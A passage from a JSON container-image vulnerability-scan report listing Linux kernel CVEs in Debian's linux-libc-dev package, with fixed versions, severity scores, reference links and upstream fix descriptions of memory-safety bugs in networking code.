"sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74597", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7c720869638fea39c4feb28233c723e2cad04e79e74a83dd133a0acd0cc4ad27", "Title": "kernel: ip6_tunnel: clear skb2-\u003ecb[] in ip6ip6_err()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: clear skb2-\u003ecb[] in ip6ip6_err()\n\nip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the\nquoted inner IPv6 packet, and then passes the clone to icmpv6_send().\nThe clone still carries the outer packet's inet6_skb_parm in skb-\u003ecb.\n\nIf the outer packet had a Home Address Option, IP6CB(skb2)-\u003edsthao\nremains non-zero after skb_pull(). icmpv6_send() later calls\nmip6_addr_swap(), which uses that stale dsthao offset against the quoted\ninner packet. A malformed inner destination-options header can then make\nthe HAO lookup and address swap run past the end of the quoted packet\nand corrupt skb_shared_info.\n\nClear skb2-\u003ecb[] before pulling the quoted inner IPv6 packet so the\nreply path does not reuse metadata left by the outer IPv6 stack.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74597", "https://git.kernel.org/stable/c/0dadb0620ab65949a8bc2439dd28ea3c942fe87d", "https://git.kernel.org/stable/c/44fe898df302e91c5ee5acbc71ffa74e78e6c183", "https://git.kernel.org/stable/c/484134e1eb07d700a73b1e4bbf3fb503e299be60", "https://git.kernel.org/stable/c/4eb15c465337b18f44716c499cd6ad63eee0ad54", "https://git.kernel.org/stable/c/64e41736a26f37ab6215bc2e6df125df05aceb08", "https://git.kernel.org/stable/c/b6816536a2990c0db44a26130a03e40b441e829b", "https://git.kernel.org/stable/c/f803c086399da277b5d0ff36a107d0f162751800", "https://git.kernel.org/stable/c/fbf40faa0414b753212494ad197542002e66ed9e", "https://linux.oracle.com/cve/CVE-2026-74597.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082214-CVE-2026-74597-98fc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74597", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74597" ], "PublishedDate": "2026-08-22T16:16:32.04Z", "LastModifiedDate": "2026-10-16T20:17:45.07Z" }, { "VulnerabilityID": "CVE-2026-74615", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ecf7bcc7c5e8cb708d23cf4172d63216592c701c27572a1c2c3aacdb884027af", "Title": "kernel: vxlan: do not arm the ageing timer on a device that is down", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: do not arm the ageing timer on a device that is down\n\nvxlan_changelink() arms vxlan-\u003eage_timer whenever the requested ageing\ninterval differs from the configured one:\n\n\tif (conf.age_interval != vxlan-\u003ecfg.age_interval)\n\t\tmod_timer(\u0026vxlan-\u003eage_timer, jiffies);\n\nThere is no netif_running() test, so the timer is armed even on a device\nthat was never brought up. The only synchronous cancel in the driver is\nthe timer_delete_sync() in vxlan_stop(), which is .ndo_stop.\nnetif_close_many() drops devices without IFF_UP before\n__dev_close_many() runs, so that cancel is skipped for such a device.\n\nvxlan_setup() sets dev-\u003eneeds_free_netdev = true and age_timer is a\nmember of struct vxlan_dev, so free_netdev() releases the allocation the\ntimer lives in while it is still queued on a timer_base.\nexpire_timers() unlinks the entry before it loads timer-\u003efunction, so\nthe timer core writes through the freed object's list pointers:\n\n BUG: KASAN: slab-use-after-free in __run_timers+0x208/0x654\n Write of size 8 at addr ffff00001adace68 by task true/192\n __asan_store8+0x84/0xac\n __run_timers+0x208/0x654\n run_timer_softirq+0x154/0x18c\n Allocated by task 189:\n alloc_netdev_mqs+0x64/0x720\n rtnl_create_link+0x4ac/0x520\n rtnl_newlink+0x758/0xd00\n Freed by task 191:\n netdev_release+0x40/0x58\n netdev_run_todo+0x4a4/0x8c0\n rtnl_dellink+0x200/0x4e8\n\nThe rtnl operations involved are netns-scoped, so an unprivileged user\ncan perform them in a new user and network namespace.\n\nArming the timer on a down device never had an effect: vxlan_cleanup()\nreturns early on !netif_running(), and vxlan_open() arms the timer for\nany non-zero interval once the device is brought up. Add the missing\ntest.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74615", "https://git.kernel.org/stable/c/26c179d47403d2f919ee914cc02c31d896b59fee", "https://git.kernel.org/stable/c/46bb297ad77680e009244f067f27d51cf5b8c7cf", "https://git.kernel.org/stable/c/619dd29045e439d0b0f8c6d4fec1af447a050680", "https://git.kernel.org/stable/c/6b095e99b9e67ea31f0c4b00260e010898253519", "https://git.kernel.org/stable/c/6b4119af544996a545cf84b16f1dbce829ba0de8", "https://git.kernel.org/stable/c/9dc561f0522c35bdd66e0646a748814a138ec4ca", "https://git.kernel.org/stable/c/b37971686ec59fb027fa4910ba16805e68fddb97", "https://git.kernel.org/stable/c/be44d79d14d7f9ae7c8ffb7272142005341b5123", "https://linux.oracle.com/cve/CVE-2026-74615.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082218-CVE-2026-74615-832f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74615", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74615" ], "PublishedDate": "2026-08-22T16:16:34.143Z", "LastModifiedDate": "2026-10-16T20:17:46.847Z" }, { "VulnerabilityID": "CVE-2026-74616", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74616", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ffe4afc93931418586c0971f77ea52b1fdb819d33fa0a4c6b19e25d486a3082d", "Title": "kernel: xdp: reject clones that overrun skb_shared_info tailroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: reject clones that overrun skb_shared_info tailroom\n\nxdpf_clone() clones broadcast copies into a single page and sets\nframe_sz to PAGE_SIZE. __xdp_build_skb_from_frame() later treats that\npage like a normal XDP frame and expects the usual skb_shared_info\ntailroom at the end of the buffer.\n\nThe current check only rejects frames whose linear xdp_frame header,\nheadroom, and packet data exceed PAGE_SIZE. A source frame backed by a\nlarger allocation can still satisfy that check while extending into the\nclone's required shared-info area. When such a clone is converted back\ninto an skb, build_skb_around() places skb_shared_info over live packet\nbytes and later writes can corrupt XDP return metadata.\n\nReject clones unless their linear area fits inside\nSKB_WITH_OVERHEAD(PAGE_SIZE), matching the tailroom requirement already\nenforced by the XDP-to-skb conversion path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74616", "https://git.kernel.org/stable/c/58408982fa39f9758124cec169f42854d6f98f35", "https://git.kernel.org/stable/c/685edea27ac68d08fe4dbd3de74b858d2ad8e830", "https://git.kernel.org/stable/c/ba13763d667e008e185fedf592d53846a5b457d1", "https://git.kernel.org/stable/c/e48e8edbef2eb824201495daa5234560f632b23c", "https://git.kernel.org/stable/c/ef4b7c7046d29a67090de15af0da0d1ae8d1b192", "https://git.kernel.org/stable/c/f463b6f4957c9c3fd1c75f8d3e5af4879fa609c0", "https://git.kernel.org/stable/c/fab820f1691a9e26d9031f18aae1e9ce09078f92", "https://linux.oracle.com/cve/CVE-2026-74616.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082218-CVE-2026-74616-73b5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74616", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74616" ], "PublishedDate": "2026-08-22T16:16:34.28Z", "LastModifiedDate": "2026-10-16T20:17:47.017Z" }, { "VulnerabilityID": "CVE-2026-74630", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74630", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0b0e18c4ae5f5e93bee88aa32f8219d8d1bcb094463d19f28788bbfd607068f5", "Title": "kernel: ipv6: prevent in6_dev_get() from resurrecting inet6_dev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent in6_dev_get() from resurrecting inet6_dev\n\nin6_dev_get() reads dev-\u003eip6_ptr under RCU and then unconditionally\nincrements its refcount. Device teardown can clear the pointer and drop\nthe last reference between these operations. The increment then\nresurrects an object whose RCU free has already been queued, so callers\ncan use it after it is freed.\n\nUse refcount_inc_not_zero() and return NULL when the object has already\nreached zero. RCU keeps the memory accessible through the attempted\nreference acquisition, and a successful increment pins the object for\nthe caller.\n\nAn independent run on the exact unpatched 6f5156d7a31a (v7.2-rc3)\nkernel reproduced the invalid reference acquisition as UID 1000:\n\n refcount_t: addition on 0; use-after-free.\n ip6_mc_source+0xef4/0x17e0\n\nIt was followed by the corresponding reference underflow in\nip6_mc_source(). The supplied trace from the same unpatched revision\nadditionally shows the access after the RCU read-side section ends:\n\n BUG: KASAN: slab-use-after-free in mutex_lock+0x76/0xe0\n Write of size 8 at addr ffff888015b50240 by task poc/1219\n\nBug found and triaged by OpenAI Security Research and\nvalidated by Trail of Bits.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74630", "https://git.kernel.org/stable/c/0e243671bc7b8eaf00f83dd2f4367436dc0cff98", "https://git.kernel.org/stable/c/145812b678de9f3b59780173be3c0d22ed60dd93", "https://git.kernel.org/stable/c/14e812ab41df0cac033479da835ec9a5de633404", "https://git.kernel.org/stable/c/1c206d461c680c3151daa3c89fc26eaf5bf98a7f", "https://git.kernel.org/stable/c/680fbd7942185448eadb990a3d10a53eb946b702", "https://git.kernel.org/stable/c/785d908f8d21c8bc78b6fb2c2932ab662bf6918a", "https://git.kernel.org/stable/c/aedcfefdb5b7ed7f8a6196a3e68a25bdbe51d2f8", "https://git.kernel.org/stable/c/cc5bd568f9b7683e60841b6fd02c10d64535bd6e", "https://linux.oracle.com/cve/CVE-2026-74630.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082221-CVE-2026-74630-8fae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74630", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74630" ], "PublishedDate": "2026-08-22T16:16:35.943Z", "LastModifiedDate": "2026-10-16T20:17:48.063Z" }, { "VulnerabilityID": "CVE-2026-74631", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74631", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d2ba48d2fc73fe8ff53ced8853f044795fc90e43a617753e42330fae9ec9a4ee", "Title": "kernel: net: smc: fix splice entry lifetime imbalance in smc_rx_splice", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: smc: fix splice entry lifetime imbalance in smc_rx_splice\n\nsmc_rx_splice() passes pages to splice_to_pipe() before taking the\nreferences that cover the lifetime of each splice entry. In the\nVM-backed RMB path, splice_to_pipe() may drop unqueued entries through\nsmc_rx_spd_release(), while queued entries are released later via the\npipe buffer callback.\n\nThe old post-splice accounting also derives the number of queued VM pages\nfrom an offset mutated while building the descriptor, and a multi-page\nsplice pairs one sock_hold() with multiple sock_put() calls.\n\nTake the page and socket references for every candidate entry before\nsplice_to_pipe(), and drop the matching private state, page reference,\nand socket reference from smc_rx_spd_release() for entries that never\nget queued. This fixes a refcount imbalance that can underflow page\nrefcounts and trigger a use-after-free.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91565", "https://access.redhat.com/security/cve/CVE-2026-74631", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502341", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2521413", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502341", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2502615", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2521413", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64109", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://errata.almalinux.org/10/ALSA-2026-91565.html", "https://errata.rockylinux.org/RLSA-2026:91565", "https://git.kernel.org/stable/c/07ad246529d136d5ef441d5ab4c305d132ff3090", "https://git.kernel.org/stable/c/0b7d54cedea5cb158e21925ae0c6c2f5c87ed2a0", "https://git.kernel.org/stable/c/4515c78f4d9fd577270f012efeb062ea58b3682d", "https://git.kernel.org/stable/c/5d9686af2976741bbd79b150d1c9e60b81e7f12e", "https://git.kernel.org/stable/c/7ddc7af2ae7fc5a0c0635b245c0824c8b76de5cb", "https://git.kernel.org/stable/c/af02c67ce654356c58db20a0bb2db33ace3b07a8", "https://git.kernel.org/stable/c/c841789e456ec6751342fa800639ce8e82ff0e6b", "https://git.kernel.org/stable/c/ca8342b5fc24c249fdb998468f6a168b457c67e5", "https://linux.oracle.com/cve/CVE-2026-74631.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://lore.kernel.org/linux-cve-announce/2026082221-CVE-2026-74631-4134@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74631", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74631" ], "PublishedDate": "2026-08-22T16:16:36.08Z", "LastModifiedDate": "2026-10-16T20:17:48.22Z" }, { "VulnerabilityID": "CVE-2026-74662", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74662", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb2299fb88b4db39b50df3a5b0e5cc89634eb685f85e4c05f0c01a734aad1d25", "Title": "kernel: inet: frags: publish queues before arming timer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: publish queues before arming timer\n\ninet_frag_create() arms the fragment queue timer before inserting the\nqueue into the fqdir rhashtable. If the namespace fragment timeout is\nzero or negative, the timer can run before the queue is published.\n\nThe timer callback then marks the queue complete, tries to remove a node\nthat is not in the hash table yet, and drops the anticipated hash\nreference. Creation can subsequently publish the completed queue without\nrestoring that reference, leaving a stale hash node after the caller drops\nthe remaining reference.\n\nPublish the queue first and arm the timer while holding the queue lock.\nThis makes timer expiry wait until the queue is visible in the hash table,\nso inet_frag_kill() can remove the node and balance the hash reference.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74662", "https://git.kernel.org/stable/c/08a04d7bfb9c103432561aff8a62b6872e694a6a", "https://git.kernel.org/stable/c/39c6c4b267b65f00e0b0335a2ae00cbe9e3174f0", "https://git.kernel.org/stable/c/4ed0681dc2c1e0538b79d2fc56190ffcb369dacd", "https://git.kernel.org/stable/c/653d7ddf6cba867777a3d14c4f83ace008c5ad13", "https://git.kernel.org/stable/c/928128865e43b197e30688dc1bc991592c97edcf", "https://git.kernel.org/stable/c/9f904dd3e455750e5d4ec9b2f134835811b85a2f", "https://git.kernel.org/stable/c/d3ffb89b2944672cf7bdd8e9ee577d2043b4a956", "https://git.kernel.org/stable/c/f4e4dab62181b7fe7c011bed6fbef9fc3d48c769", "https://linux.oracle.com/cve/CVE-2026-74662.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082228-CVE-2026-74662-bad3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74662", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74662" ], "PublishedDate": "2026-08-22T16:16:39.993Z", "LastModifiedDate": "2026-10-16T20:17:50.227Z" }, { "VulnerabilityID": "CVE-2026-74669", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1f6abb1174c07ea33455fefd33acf33d440ec40e6832613e1fdb88e68096f54b", "Title": "kernel: ipvs: clear IPv4 options after rebasing tunnel ICMP errors", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: clear IPv4 options after rebasing tunnel ICMP errors\n\nip_vs_in_icmp() rebases an skb from the outer ICMP packet to the\nquoted original request before passing it to icmp_send(). However,\nIPCB(skb)-\u003eopt still describes the outer IPv4 header.\n\nA timestamp option in the outer header can therefore leave an offset\nthat points into the quoted transport header after the rebase.\n__ip_options_echo() treats a byte at that stale location as the option\nlength and copies it into the fixed-size option storage on the\n__icmp_send() stack, causing a stack out-of-bounds write.\n\nClear the stale option metadata after resetting the network header.\nKeep the remaining control block fields, including the ingress\ninterface used by the ICMP response path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74669", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", 